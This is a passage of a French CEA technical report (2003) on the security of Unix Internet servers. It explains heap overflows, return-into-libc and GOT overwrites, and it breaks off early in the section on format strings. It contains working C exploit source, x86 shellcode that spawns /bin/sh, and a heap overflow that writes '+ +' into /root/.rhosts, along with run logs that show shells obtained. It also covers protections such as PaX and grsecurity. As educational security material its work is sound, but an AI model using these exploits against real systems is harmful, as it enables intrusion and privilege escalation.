CEA/DAM DIRECTION ILE-DE

Transcription

CEA/DAM DIRECTION ILE-DE
CEA-R-6037
ISSN 0429 - 3460
L ’ É N E R G I E
A T O M I Q U E
ÉTAT DE L’ART DE LA SÉCURITÉ
DES SERVEURS ORIENTÉS INTERNET
VOLUME 2
par
Arnaud GUIGNARD
CEA/DAM
-
DIRECTION
DÉPARTEMENT
SCIENCES
ET
CELLULE
ILE-DE-FRANCE
DE
LA
SIMULATION
L’INFORMATION
TECHNIQUE
DE
SÉCURITÉ
INFORMATIQUE
DIRECTION
2003
À
RAPPORT
CEA/DAM DIRECTION ILE-DE-FRANCE
C O M M I S S A R I A T
DES
SYSTEMES
D’INFORMATION
C E A / S A C L AY 9 1 1 9 1 G I F - S U R - Y V E T T E C E D E X F R A N C E
RAPPORT
CEA-R-6037
- Rapport CEA-R-6037 -
CEA/DAM – Direction Ile-de-France
Département Sciences de la Simulation et l’Information
Cellule Technique de Sécurité Informatique
ÉTAT DE L’ART DE LA SÉCURITÉ DES SERVEURS ORIENTÉS INTERNET
VOLUME 2
par
Arnaud GUIGNARD
- Septembre 2003 -
RAPPORT CEA-R-6037 – Arnaud GUIGNARD
«Etat de l’art de la sécurité des serveurs orientés Internet-Volume 2»
Résumé - La croissance rapide d’Internet a entraîné des problèmes de sécurité majeurs. Vers,
virii, bombes logiques, exploits, etc. se propagent de plus en plus rapidement et leur faire face
devient une gageure quotidienne. Le présent document a pour but de mettre en lumière certaines
techniques d’attaque et les moyens de protection associés. C’est un exposé technique visant les
systèmes Unix découpé en deux parties :
Un retour sur les buffer overflows qui traite en détail de méthodes simplement évoquées dans le
premier volume : comment un attaquant parvient à prendre le contrôle d’un système ?
Les moyens dont dispose un agresseur pour se dissimuler au sein d’un système. Seront abordés
l’effacement de la présence dans les fichiers de logs, les rootkits, etc.
2003 – Commissariat à l’Énergie Atomique – France
RAPPORT CEA-R-6037 – Arnaud GUIGNARD
«Internet Servers Security – part 2»
Abstract - The fast growth of the Internet has raised new major security problems. Worms,
virii, logic bombs, exploits, etc. spread faster and faster. Thus, dealing with them has become a
daily task. This document sheds the light on some common attacks and measures to protect
against them. It is a technical paper targeting Unix systems and divided into two parts :
First, we focus on new buffer overflow techniques : how an attacker gain access to a system ?
Then, system stealth stands for the last stage for each attacker : how to be and to keep on being
invisible ?
Here, we analyze rootkits, means to delete data, …
2003 – Commissariat à l’Énergie Atomique – France
Etat de l’art de la sécurité
des serveurs orientés Internet
Volume 2
Arnaud Guignard
CEA/DIF/DSSI/CTSI
Dernière révision : 03/11/03
Table des matières
1
INTRODUCTION.............................................................................................................. 3
2
RETOUR SUR LES BUFFER OVERFLOWS ......................................................................... 4
2.1
LES HEAP OVERFLOWS ........................................................................................................... 4
2.1.1 Introduction.................................................................................................................. 4
2.1.2 Mise en pratique ........................................................................................................... 4
2.1.2.1
2.1.2.2
Première approche............................................................................................................. 4
Exécution de code.............................................................................................................. 9
2.4.2.1
2.4.2.2
2.4.2.3
2.4.2.4
Introduction .................................................................................................................... 22
Plantage d’un programme................................................................................................. 23
Voir la mémoire ............................................................................................................... 23
Ecrire dans la mémoire ..................................................................................................... 24
2.1.3 Mesures de prévention ................................................................................................ 12
2.2
LES ATTAQUES DE TYPE RETURN-INTO-LIBC ............................................................................... 12
2.2.1 Explications ................................................................................................................ 12
2.2.2 Protection................................................................................................................... 16
2.3
LA PROCEDURE LINKING TABLE/GLOBAL OFFSET TABLE ............................................................... 17
2.3.1 La théorie ................................................................................................................... 17
2.3.2 La pratique ................................................................................................................. 17
2.4
LES ATTAQUES DE TYPE FORMAT STRING .................................................................................. 21
2.4.1 Les fonctions de formatage.......................................................................................... 21
2.4.2 Les vulnérabilités ........................................................................................................ 22
2.4.3 Protection................................................................................................................... 28
3
LA FURTIVITE SYSTEME ............................................................................................... 29
3.1
ATTAQUE ......................................................................................................................... 29
3.1.1 L’épuration des fichiers de logs .................................................................................... 29
3.1.2 La pose d’un cheval de Troie ....................................................................................... 31
3.1.3 L’installation d’un rootkit.............................................................................................. 33
3.1.3.1
3.1.3.2
3.1.3.3
3.1.3.4
3.1.3.5
Les rootkits simples.......................................................................................................... 33
Utilisation des bibliothèques dynamiques............................................................................ 35
Les Linux Kernel Rootkits .................................................................................................. 36
Modification de /proc........................................................................................................ 42
Injection dans /dev/kmem ................................................................................................ 44
3.2
PREVENTION ..................................................................................................................... 44
3.2.1 Les fichiers de logs...................................................................................................... 45
3.2.2 Les rootkits................................................................................................................. 45
3.3
DETECTION ...................................................................................................................... 45
3.3.1 Les chevaux de Troie .................................................................................................. 45
3.3.2 Les rootkits................................................................................................................. 46
4
CONCLUSION................................................................................................................ 47
5
ANNEXES ...................................................................................................................... 48
5.1
BIBLIOGRAPHIE ................................................................................................................. 48
5.1.1 Livres ......................................................................................................................... 48
5.1.2 Articles ....................................................................................................................... 48
5.2
SITES INTERNET ................................................................................................................ 50
2
1 Introduction
Le volume 1 de ce document se présentait sous la forme d’un rapport de stage et avait pour but de
mettre en lumière un certain nombre d’attaques visant les serveurs offrant des services identiques à
ceux rencontrés sur Internet.
Il s’articulait en deux parties : la première, essentiellement théorique, destinée à donner une vue
générale de la sécurité des serveurs à des personnes peu sensibilisées, et la seconde, plus pratique et
nécessitant un certain savoir technique, qui fournissait un grand nombre d’informations pointues afin
que chacun puisse comprendre précisément les moyens à disposition des hackers. Dans cette seconde
phase des méthodes de protection et de détection. étaient également indiquées.
Le présent volume délaisse la partie théorique et va expliquer en détail des points abordés
succintement dans le tome précédent ainsi qu’exposer de nouveaux concepts, notamment sur la
furtivité système.
Le parti pris est toujours l’analyse des systèmes de type Unix (Linux en particulier), car ils permettent
de reproduire facilement et à peu de frais des concepts généraux. Cependant, un autre volume pourra
éventuellement être centré sur les machines de type Windows.
3
2 Retour sur les buffer overflows
2.1
Les heap overflows
2.1.1 Introduction
Nous avons vu dans le premier volume de ce document comment réaliser un débordement de tampon
débouchant sur l’exécution d’un code présent dans la pile. Nous avons évoqué la possibilité de faire de
même dans le tas. La motivation sous-jacente de l’attaquant est l’impossibilité de réaliser des stack
overflows du fait de la présence d’une protection adéquate (PaX pour Linux, les patchs contre les
débordements de tampons implémentés pour plusieurs architectures dans OpenBSD 3.2). Nous
proposons ici de détailler le fonctionnement des heap overflows.
Nous ne rappellerons pas ici les bases de l’organisation de la mémoire pour les programmes Linux et
vous conseillons de relire la partie 3.2.1.1 du précédent rapport.
Les sections qui nous intéressent ici sont, bien entendu, le tas (heap) mais aussi data et bss.
2.1.2 Mise en pratique
2.1.2.1
Première approche
Voyons un premier exemple très simple pour illustrer notre propos :
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<unistd.h>
<string.h>
#define BUFSIZE 16
#define OVERSIZE 8
int main()
{
u_long diff;
char *buf1 = malloc(BUFSIZE), *buf2 = malloc(BUFSIZE);
diff = (u_long) buf2 – (u_long) buf1;
printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes\n", buf1, buf2, diff);
memset(buf2, 'A', BUFSIZE-1);
buf2[BUFSIZE-1] = '\0';
printf("before overflow: buf2 = %s\n", buf2);
memset(buf1, 'B', (u_int) (diff + OVERSIZE));
printf("after overflow: buf2 = %s\n", buf2);
return 0;
}
4
Puis on l’exécute :
arno@vador heap $ ./ex1
buf1 = 0x8049638, buf2 = 0x8049650, diff = 0x18 bytes
before overflow: buf2 = AAAAAAAAAAAAAAA
after overflow: buf2 = BBBBBBBBAAAAAAA
L’explication est élémentaire : le premier tableau a débordé dans le second comme dans le cas des
stack overflows. La seule différence pour l’instant se situe à l’endroit du débordement : dans le tas et
non la pile.
Pour réaliser la même chose dans la section bss, il suffit de remplacer la ligne suivante :
char *buf = malloc(BUFSIZE);
par :
static char buf[BUFSIZE];
Passons à un exemple un peu différent, mais toujours aussi simple :
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<unistd.h>
<string.h>
#define BUFSIZE
#define ADDRLEN
16
8
int main()
{
u_long diff;
static char buf[BUFSIZE], *bufptr;
bufptr = buf;
diff = (u_long) &bufptr – (u_long) buf;
printf("bufptr (%p) = %p, buf = %p, diff = 0x%x bytes (%d)\n",
&bufptr, bufptr, buf, diff, diff);
memset(buf, 'A', (u_int)(diff+ADDRLEN));
printf("bufptr (%p) = %p, buf = %p, diff = 0x%x bytes (%d)\n",
&bufptr, bufptr, buf, diff, diff);
return 0;
}
5
Son exécution :
arno@vador heap $ ./ex2
bufptr (0x80495b0) = 0x80495b0, buf = 0x80495a0, diff = 0x10 (16) bytes
bufptr (0x80495b0) = 0x41414141, buf = 0x80495a0, diff = 0x10 (16) bytes
Nous avons réussi à modifier la valeur pointée par bufptr. Quelles sont les applications possibles ?
On peut, par exemple, remplacer la valeur d’un pointeur sur un nom de fichier temporaire par une
valeur plus intéressante, celle du premier argument de notre programme (on remplace alors le nom
du fichier). Pour rendre tout ceci plus concret, nous reprenons l’exemple fourni dans [11].
Voici le programme vulnérable :
#include
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<unistd.h>
<string.h>
<errno.h>
#define ERROR
#define BUFSIZE
-1
16
int main(int argc, char **argv)
{
FILE *tmpfd;
static char buf[BUFSIZE], *tmpfile;
if (argc <= 1) {
fprintf(stderr, "usage: %s <garbage>\n", argv[0]);
exit(ERROR);
}
tmpfile = "/tmp/vulprog.tmp";
printf("before: tmpfile = %s\n", tmpfile);
printf("Enter one line of data to put in %s: ", tmpfile);
gets(buf);
printf("\nafter: tmpfile = %s\n", tmpfile);
tmpfd = fopen(tmpfile, "w");
if (tmpfd == NULL) {
fprintf(stderr, "error opening %s: %s\n", tmpfile,
strerror(errno));
exit(ERROR);
}
fputs(buf, tmpfd);
fclose(tmpfd);
return 0;
}
6
L’exploit proposé par Matt Conover est très simple :
•
•
•
•
Il passe des arguments au programme vulnérable
Celui-ci s’attend à ce qu’on rentre une ligne de texte qui va être stockée dans le fichier
temporaire.
Cependant, grâce à notre dépassement de tampon, on remplace le nom du fichier
temporaire en faisant pointer le pointeur sur argv[1] (qui aura pour valeur
/root/.rhosts)
Il écrira alors dans le fichier - normalement temporaire – la ligne suivante :
+ + # chaîne composée de ε x ‘A’ | adresse de argv[1]
où : ε = adresse du fichier temporaire – adresse du buffer
On utilise « + + » pour autoriser tous les hôtes à se connecter sur la machine avec le compte
root, suivi de « # » (le caractère des commentaires) pour que notre chaîne soit mal
interprétée par les programmes s’appuyant sur .rhosts.
Voici le source :
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<unistd.h>
<string.h>
#define ERROR -1
#define DIFF 16
/* estimation de la distance entre buf et tmpfile */
#define VULPROG "./vulprog1"
#define VULFILE "/root/.rhosts"
/* le fichier où sera stocké buf */
u_long getesp() /* récupère l’adresse du haut de la pile */
{
/* on l’utilise pour calculer l’adresse de argv1 */
__asm__("movl %esp, %eax");
}
int main(int argc, char **argv)
{
u_long addr;
register int i;
int mainbufsize;
char *mainbuf, buf[DIFF+6+1];
if (argc <= 1) {
fprintf(stderr, "usage: %s <offset>\n", argv[0]);
exit(ERROR);
}
memset(buf, 0, sizeof(buf));
strcpy(buf, "+ +\t# ");
memset(buf + strlen(buf), 'A', DIFF);
addr = getesp() + atoi(argv[1]);
7
/* pour mettre l’adresse dans un format little endian */
for (i = 0; i < sizeof(u_long); i++)
buf[DIFF + i] = ((u_long) addr >> (i * 8) & 255);
mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULPROG) +
strlen(VULFILE) + 13;
mainbuf = (char *)malloc(mainbufsize);
memset(mainbuf, 0, sizeof(mainbuf));
snprintf(mainbuf, mainbufsize, - 1, "echo '%s' | %s %s\n", buf,
VULPROG, VULFILE);
printf("overflowing tmpaddr to point to %p, check %s after.\n\n",
addr, VULFILE);
system(mainbuf);
return 0;
}
Voyons son fonctionnement (les essais successifs infructueux ne sont pas représentés) :
root@vador heap # ./exploit1 520
overflowing tmpaddr to point to 0xbffffab4, check /root/.rhosts after
before: tmpfile = /tmp/vulprog.tmp
Enter one line of data to put in / vulprog.tmp:
after: tmpfile = og1
root@vador heap # ./exploit1 524
overflowing tmpaddr to point to 0xbffffab8, check /root/.rhosts after
before: tmpfile = /tmp/vulprog.tmp
Enter one line of data to put in / vulprog.tmp:
after: tmpfile = /root/.rhosts
Que fait cette exploit grâce à la chaîne passée ?
Il fait simplement déborder le buffer utilisé par la fonction gets(). Il copie dedans la chaîne spéciale
vue ci-dessus. Le but final de celle-ci est de remplacer le pointeur pointant sur le nom du fichier
temporaire par l’adresse de notre argument qui sera /root/.rhosts. Avant cela elle écrit « + +
# », puis un certain nombre de « A » jusqu’à trouver avec précision le début du pointeur (cette
manœuvre est ici simple car nous avons accès au source du programme. Pendant l’écriture d’un
véritable exploit, cette technique est indispensable).
L’avantage de cette méthode est qu’elle ne nécessite pas la présence d’un tas exécutable et qu’elle est
très facilement portable sur un système d’exploitation et/ou une architecture différent(e/s).
Mais les heap overflows ne se limitent pas à des remplacements de variables : ils peuvent, tout
comme les stack overflows, exécuter du code arbitraire dans le tas et non dans la pile.
8
2.1.2.2
Exécution de code
Une facilité du langage C (entre autres) qu’utilisent beaucoup de programmeurs est la création de
pointeurs de fonction.
Un pointeur de fonction facilite la programmation en autorisant la modification dynamique d’une
fonction à appeler. Typiquement, il se présente sous la forme suivante :
int (*funcptr)(args);
On peut donc modifier la valeur de ce pointeur en la remplaçant par :
1. La valeur de l’adresse de notre shellcode stockée dans une variable d’environnement,
dans argv[1], …1
Nous avons alors besoin d’une pile exécutable.
2. La valeur d’un buffer alloué dynamiquement dont nous avons remplacé la valeur par notre
shellcode. Ici un tas exécutable est nécessaire.
3. D’autres méthodes que nous verrons dans les paragraphes suivants.
Lors de l’appel à cette fonction, notre shellcode s’exécutera en lieu et place de la fonction prévue.
Nous allons seulement nous intéresser aux points 1 et 2, le dernier étant vu plus précisément ailleurs
dans ce document.
Notre programme vulnérable est le suivant :
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<unistd.h>
<string.h>
#define ERROR
#define BUFSIZE
-1
64
int goodfunc(const char *str);
int main(int argc, char **argv)
{
static char buf[BUFSIZE];
static int (*funcptr) (const char *str);
if (argc <= 2) {
fprintf(stderr, "usage: %s <buf> <goodfunc arg>\n", argv[0]);
exit(ERROR);
}
printf("stack method: argv[2] = %p\n", argv[2]);
printf("heap offset method: buf = %p\n\n", buf);
funcptr = (int (*)(const char *str)) goodfunc;
printf("before overflow: funcptr points to %p\n", funcptr);
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], strlen(argv[1]));
1
Cette technique a été couverte en détail dans le premier volume de ce document.
9
printf("after overflow: funcptr points to %p\n", funcptr);
(void) (*funcptr)(argv[2]);
return 0;
}
int goodfunc(const char *str)
{
printf("\nHi, I’m a good function. I was passed: %s\n", str);
return 0;
}
L’exploit permet de choisir entre les méthodes 1 et 2 :
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<unistd.h>
<string.h>
#define ERROR -1
#define BUFSIZE 64
/* estimation de la distance entre buf et funcptr */
#define VULPROG "./vulprog"
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
u_long getesp() /* récupère l’adresse du haut de la pile */
{
__asm__("movl %esp, %eax");
}
int main(int argc, char **argv)
{
register int i;
u_long sysaddr;
char buf[BUFSIZE + sizeof(u_long) + 1];
if (argc <= 2) {
fprintf(stderr, "usage: %s <offset> <heap | stack>\n", argv[0]);
exit(ERROR);
}
if (strncmp(argv[2], "stack", 5) == 0) {
printf("using stack for shellcode (requires exec. stack)\n");
sysaddr = getesp() + atoi(argv[1]);
printf("using 0x%lx as our argv[1] address\n\n", sysaddr);
memset(buf, 'A', BUFSIZE + sizeof(u_long));
} else {
printf("using heap buffer for shellcode (requires exec. heap)\n");
10
sysaddr = (u_long) sbrk(0) – atoi(argv[1]);
printf("using 0x%lx as our buffer’s address\n\n", sysaddr);
if (BUFSIZE + 4 + 1 < strlen(shellcode)) {
fprintf(stderr, "error: buffer is too small for shellcode "
"(min. = %d bytes)\n", strlen(shellcode));
}
strcpy(buf, shellcode);
memset(buf, + strlen(shellcode), 'A',
BUFSIZE – strlen(shellcode) + sizeof(u_long));
}
buf[BUFSIZE + sizeof(u_long)] = '\0';
for (i = 0; i < sizeof(sysaddr); i++)
buf[BUFSIZE + i] = ((u_long) sysaddr >> (i * 8)) & 255;
execl(VULPROG, VULPROG, buf, shellcode, NULL);
return 0;
}
Et l’exécution :
1. Méthode de la pile
arno@vador heap # ./exploit 554 stack
using stack for shellcode (requires exec. stack)
using 0xbffff9b6 as our argv[1] address
stack method: argv[2] = 0xbffff99f
heap offset method: buf = 0x8049840
before overflow: funcptr points to 0x8048556
after overflow: funcptr points to 0xbffff9b6
sh-2.05b$
2. Méthode du tas
arno@vador heap # ./exploit 600 heap
using heap buffer for shellcode (requires exec. heap)
using 0x804983c as our buffer’s address
stack method: argv[2] = 0xbffff99f
heap offset method: buf = 0x8049840
before overflow: funcptr points to 0x8048556
after overflow: funcptr points to 0x804983c
sh-2.05b$
11
Ces exploits ne nécessitent pas de commentaire particulier car leur fonctionnement est identique aux
exemples vus précédemment (notamment dans le volume 1).
Pour plus d’informations, référez-vous au document [11] (dont tous nos exemples ont été extraits).
2.1.3 Mesures de prévention
La première mesure est la même que celle vue dans le précédent volume, c’est à dire l’écriture de
programmes propres ! Tous les programmeurs doivent être sensibilisés à de tels problèmes et, en
s’astreignant à une programmation soignée et rigoureuse, la plupart des trous de sécurité n’existeront
plus. Bien sûr, cette recommandation est utopiste car peu de programmeurs connaissent les dangers
sous-jacents à une mauvaise programmation.
Une autre solution beaucoup plus réaliste est l’utilisation du patch PaX pour le noyau Linux
(http://pageexec.virtualave.net/). En effet, il permet de rendre non exécutable aussi bien la pile que le
tas et offre des améliorations que nous verrons dans les paragraphes ci-dessous.
On peut également installer le patch grsecurity (http://www.grsecurity.net) intégrant PaX, ainsi
que de nombreuses fonctionnalités (par exemple , des listes de contrôles d’accès – Access Control
Lists ACL -très poussées).
2.2
Les attaques de type return-into-libc
2.2.1 Explications
Ces attaques sont à la mode car très simples à réaliser, ne nécessitant ni pile, ni tas exécutables et les
méthodes de protection sont peu nombreuses.
Elles utilisent toujours les principes de débordement de tampon, mais, au lieu de faire exécuter un
shellcode (qui doit alors être stocké dans un endroit exécutable suivant les patchs de sécurité
installés), elles préfèrent l’appel d’une fonction de la bibliothèque C standard (appelée la libc). Il est
alors possible de faire exécuter la fonction de son choix (system("/bin/sh") par exemple). Cet
appel se fait en retournant littéralement dans la libc : on fait pointer une adresse de retour vers une
adresse de la libc.
On peut alors réutiliser l’exemple vu au paragraphe précédent en remplaçant la valeur du pointeur de
fonction par l’adresse de system(). L’exploit devient alors :
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<unistd.h>
<string.h>
#define ERROR -1
#define BUFSIZE 64
#define VULPROG "./vulprog"
#define CMD "/bin/sh"
int main(int argc, char **argv)
{
register int i;
u_long sysaddr;
static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};
12
if (argc <= 1) {
fprintf(stderr, "usage: %s <offset>\n", argv[0]);
fprintf(stderr, "[offset = estimated system() offset]\n\n");
exit(ERROR);
}
sysaddr = (u_long)&system - atoi(argv[1]);
printf("trying system() at 0x%lx\n\n", sysaddr);
memset(buf, 'A', BUFSIZE);
for (i = 0; i < sizeof(sysaddr); i++)
buf[BUFSIZE + i] = ((u_long) sysaddr >> (i * 8)) & 255;
execl(VULPROG, VULPROG, buf, CMD, NULL);
return 0;
}
On passe comme premier paramètre un offset. En effet, l’adresse de system() dans notre
programme vulnérable n’est pas exactement la même que celle de notre exploit, mais elles sont
toujours très proches (on a rajouté dans le programme vulnérable l’affichage de l’adresse de
system()) :
arno@vador heap # ./exploit2 8
trying system() at 0x8048368
system() method: system() = 0x8048364
stack method: argv[2] = 0xbffff99f
heap offset method: buf = 0x8049840
before overflow: funcptr points to 0x80485ac
after overflow: funcptr points to 0x8048368
sh-2.05b$
Lorsque l’on ne dispose pas d’un pointeur de fonction, on peut toujours utiliser la méthode
d’écrasement de l’adresse de retour1. Le premier exploit posté et l’explication de cette méthode se
trouve dans [8].
1
cf. volume 1 - § 3.2.1.2
13
Voici le changement dans notre pile :
bas de la mémoire
buffer
haut de la mémoire
sfp
ret
...
haut de la pile
bas de la pile
Figure 1 - Etat de la pile avant le buffer overflow
bas de la mémoire
haut de la mémoire
buffer "débordé" fonction de la libc dummy
haut de la pile
arg 1
arg 2
bas de la pile
Figure 2 - Etat de la pile après le buffer overflow
Notre débordement de tampon va écraser la valeur de retour de la fonction du programme vulnérable,
et la remplacer par l’adresse d’une fonction de la libc (c’est typiquement celle de system()). Ses
arguments ("/bin/sh") sont situés après une valeur dummy, qui est l’adresse de retour de la
fonction de la libc (sa valeur est quelconque).
Une méthode encore plus intéressante, développée dans [7], autorise l’exécution de non pas une mais
plusieurs fonctions. On peut ainsi redonner des droits à un shell avant de l’exécuter (comme c’est le
cas pour bash qui diminue ses privilèges).
Deux cas peuvent se présenter :
1. Le programme vulnérable a été compilé avec l’option –fomit-frame-pointer, auquel
cas l’épilogue de son code est de la forme :
eplg:
addl
ret
$LOCAL_VARS_SIZE, %esp
Ces deux instructions réalisent le déplacement du haut de la pile en ajoutant la taille des variables
locales, puis le retour du programme.
14
On peut donc réussir à modifier le déroulement d’un programme et à exécuter plusieurs fonctions.
L’état de la pile est alors :
haut de la pile
buffer "débordé"
bas de la pile
f1
eplg
arg1 de f1
arg2 de f1
...
argn de f1
padding
f2
dummy
arg1 de f2
...
LOCAL_VAR_SIZE
Figure 3 - Etat de la pile après le buffer overflow
f1 et f2 sont les adresses des deux fonctions que l’on souhaite exécuter et la taille du padding est
choisie de telle sorte qu’ajoutée à la taille totale des arguments de f1 on obtienne
LOCAL_VAR_SIZE. Nous écrasons la valeur de retour de la fonction vulnérable par f1.
Comment fonctionne ce mécanisme ?
Lorsque la fonction attaquée se termine, elle retourne dans f1 qui trouve ses arguments au bon
endroit. Puis f1 retourne à son tour dans f2, etc. (pour exécuter plus de deux fonctions, il suffit de
remplacer la valeur de dummy par celle de l’épilogue : eplg)
2. Le programme a été compilé sans l’option –fomit-frame-pointer. Son épilogue est
alors :
leaveret:
leave
ret
15
C’est la situation la plus courante. Expliquons le principe par un schéma :
buffer "débordé"
saved
frame
pointer
adresse de retour
de la fonction
vulnérable
faux_ebp0
leaveret
première page
faux_ebp1
f1
leaveret
arg1 de f1
arg2 de f1
seconde page
faux_ebp2
f2
leaveret
arg1 de f2
arg2 de f2
Figure 4 - Principe de return into libc utilisant le leaveret
faux_ebp0 est égal à l’adresse de la première page, faux_ebp1 à celle de la deuxième page, …
Le procédé est très simple :
1. L’épilogue de la fonction vulnérable (leave; ret) charge faux_ebp0 dans le registre ebp.
Elle retourne ensuite dans leaveret.
2. Les deux instructions suivantes (encore leave; ret) mettent faux_ebp1 dans le registre
ebp et retourne dans f1 qui trouve les arguments nécessaires.
3. f1 s’exécute puis retourne.
On répète ensuite les étapes 2 et 3 en substituant f2, f3, …, fn à f1.
2.2.2 Protection
Comme nous l’avons dit, les moyens de protection contre de telles attaques sont peu nombreux.
En effet, les solutions sont toujours les mêmes : PaX intégré ou non dans grsecurity. Afin de lutter
contre ces agressions, il utilise un principe de génération aléatoire de l’adresse des fonctions de la
libc (en utilisant mmap()). Cette adresse contient nécessairement un octet nul rendant très difficile
l’utilisation des return-into-libc par des recopie de chaînes de caractères.
16
2.3
La Procedure Linking Table/Global Offset Table
2.3.1 La théorie
La Procedure Linking Table est utilisée dans les programmes ELF pour rediriger les positionindependent function calls vers des adresses absolues. En clair, les appels à des fonctions présentes
dans des bibliothèques partagées sont traitées spécifiquement dans les exécutables. En effet, lors de
la compilation ces fonctions ne peuvent pas être liées puisqu’elles ne sont accessibles qu’au moment
de l’exécution. La PLT a donc été inventée pour résoudre ce problème. La PLT renferme un morceau
de code qui va appeler l’éditeur de liens dynamique pour localiser ces routines.
Typiquement au lieu d’appeler la véritable routine de la bibliothèque partagée l’exécutable appelle une
entrée de la PLT. C’est ensuite à elle de résoudre le symbole et de faire les bons choix. La routine de
la PLT est de la forme :
.PLT1:
jmp
pushl
jmp
*name1_in_GOT
$offset
.PLT0@PC
Ici se trouve le point faible que nous allons exploiter : le premier jump pointe normalement vers
l’adresse du pushl qui suit (cette adresse est la valeur présente dans la Global Offset Table – GOT –
à l’adresse name1_in_GOT). Si nous changeons la valeur pointée par name1_in_GOT nous pourrons
alors exécuter ce que l’on désire : shellcode, return-into-libc, …
2.3.2 La pratique
Nous n’allons pas montrer un programme vulnérable et comment l’exploiter. Nous allons seulement
expliquer comment modifier la valeur pointée par name1_in_GOT pour faire exécuter ce que l’on
désire.
Notre programme de départ est le suivant :
#include <stdio.h>
#include <stdlib.h>
#define EXIT 0x08049000
void never(void);
int
main(int argc, char **argv)
{
int *p;
printf("never() is at : %p\n", never);
p = (int *) EXIT;
*p = 0x08048000;
exit(EXIT_SUCCESS);
}
void
never(void)
17
{
system("/bin/sh");
}
Le but va être de modifier la valeur de la GOT utilisée lors de l’appel de la fonction exit() pour
exécuter la fonction never() théoriquement jamais appelée. Une variable globale EXIT stocke
l’adresse de exit_in_GOT ; on l’utilise ensuite pour initialiser un pointeur et changer la valeur
pointée par p par l’adresse de never().
Compilons et exécutons ce programme :
arno@valium:~/test/plt$ gcc -o main main.c
arno@valium:~/test/plt$ ./main
never() is at : 0x80483dc
arno@valium:~/test/plt$
Le programme nous renvoie alors l’adresse de notre fonction never(), mais nous ne connaissons pas
l’adresse de exit_in_GOT. Nous utilisons le debugger gdb pour la trouver :
arno@valium:~/test/plt$ gdb ./main
GNU gdb 5.2.1-2mdk (Mandrake Linux)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x804839c <main>:
push
%ebp
0x804839d <main+1>:
mov
%esp,%ebp
0x804839f <main+3>:
sub
$0x8,%esp
0x80483a2 <main+6>:
and
$0xfffffff0,%esp
0x80483a5 <main+9>:
mov
$0x0,%eax
0x80483aa <main+14>:
sub
%eax,%esp
0x80483ac <main+16>:
sub
$0x8,%esp
0x80483af <main+19>:
push
$0x80483dc
0x80483b4 <main+24>:
push
$0x8048448
0x80483b9 <main+29>:
call
0x80482c0 <printf>
0x80483be <main+34>:
add
$0x10,%esp
0x80483c1 <main+37>:
movl
$0x8049000,0xfffffffc(%ebp)
0x80483c8 <main+44>:
mov
0xfffffffc(%ebp),%eax
0x80483cb <main+47>:
movl
$0x8048000,(%eax)
0x80483d1 <main+53>:
sub
$0xc,%esp
0x80483d4 <main+56>:
push
$0x0
0x80483d6 <main+58>:
call
0x80482d0 <exit>
0x80483db <main+63>:
nop
End of assembler dump.
(gdb) disassemble exit
Dump of assembler code for function exit:
0x80482d0 <exit>:
jmp
*0x8049568
0x80482d6 <exit+6>:
push
$0x18
18
0x80482db <exit+11>:
jmp
0x8048290 <_init+24>
End of assembler dump.
(gdb) disassemble never
Dump of assembler code for function never:
0x80483dc <never>:
push
%ebp
0x80483dd <never+1>:
mov
%esp,%ebp
0x80483df <never+3>:
sub
$0x8,%esp
0x80483e2 <never+6>:
sub
$0xc,%esp
0x80483e5 <never+9>:
push
$0x804845c
0x80483ea <never+14>:
call
0x80482a0 <system>
0x80483ef <never+19>:
add
$0x10,%esp
0x80483f2 <never+22>:
leave
0x80483f3 <never+23>:
ret
0x80483f4 <never+24>:
nop
0x80483f5 <never+25>:
nop
0x80483f6 <never+26>:
nop
0x80483f7 <never+27>:
nop
0x80483f8 <never+28>:
nop
0x80483f9 <never+29>:
nop
0x80483fa <never+30>:
nop
0x80483fb <never+31>:
nop
0x80483fc <never+32>:
nop
0x80483fd <never+33>:
nop
0x80483fe <never+34>:
nop
0x80483ff <never+35>:
nop
End of assembler dump.
(gdb) q
arno@valium:~/test/plt$
La première ligne en gras montre seulement l’appel à la fonction exit(). En la désassemblant on
retrouve le schéma vu dans le paragraphe précédent et on peut déterminer l’adresse de
exit_in_GOT.
Enfin, la dernière ligne en gras montre que même sans afficher l’adresse de never() dans notre
programme on peut toujours la trouver facilement.
Les valeurs utiles ayant été identifiées, notre programme devient :
#include <stdio.h>
#include <stdlib.h>
#define EXIT 0x08049568
void never(void);
int
main(int argc, char **argv)
{
int *p;
printf("never() is at : %p\n", never);
p = (int *) EXIT;
*p = 0x080483dc;
exit(EXIT_SUCCESS);
}
19
void
never(void)
{
system("/bin/sh");
}
Compilons et exécutons-le :
arno@valium:~/test/plt$ gcc -o main main.c
arno@valium:~/test/plt$ ./main
never() is at : 0x80483dc
sh-2.05b$ exit
sh-2.05b$ exit
Segmentation fault (core dumped)
arno@valium:~/test/plt$
Des effets de bord se produisent lors de la sortie du shell invoquée par never() car le programme
ne suit plus son flot d’instructions normal.
Pour utiliser un tel principe dans un programme vulnérable il suffit que ce dernier offre la possibilité
de changer un pointeur puis d’écrire à l’endroit pointé par ce pointeur (typiquement une fonction
strcpy(), strncpy() …).
Pour plus d’informations voir [23] et [25].
20
2.4
Les attaques de type format string
Cette partie est essentiellement basée sur [12] qui constitue le document de référence sur les format
strings.
Cette attaque est d’une simplicité enfantine mais de moins en moins exploitable. En effet, comme
nous allons le voir par la suite, elle est due à des méthodes de programmation peu soignées et est
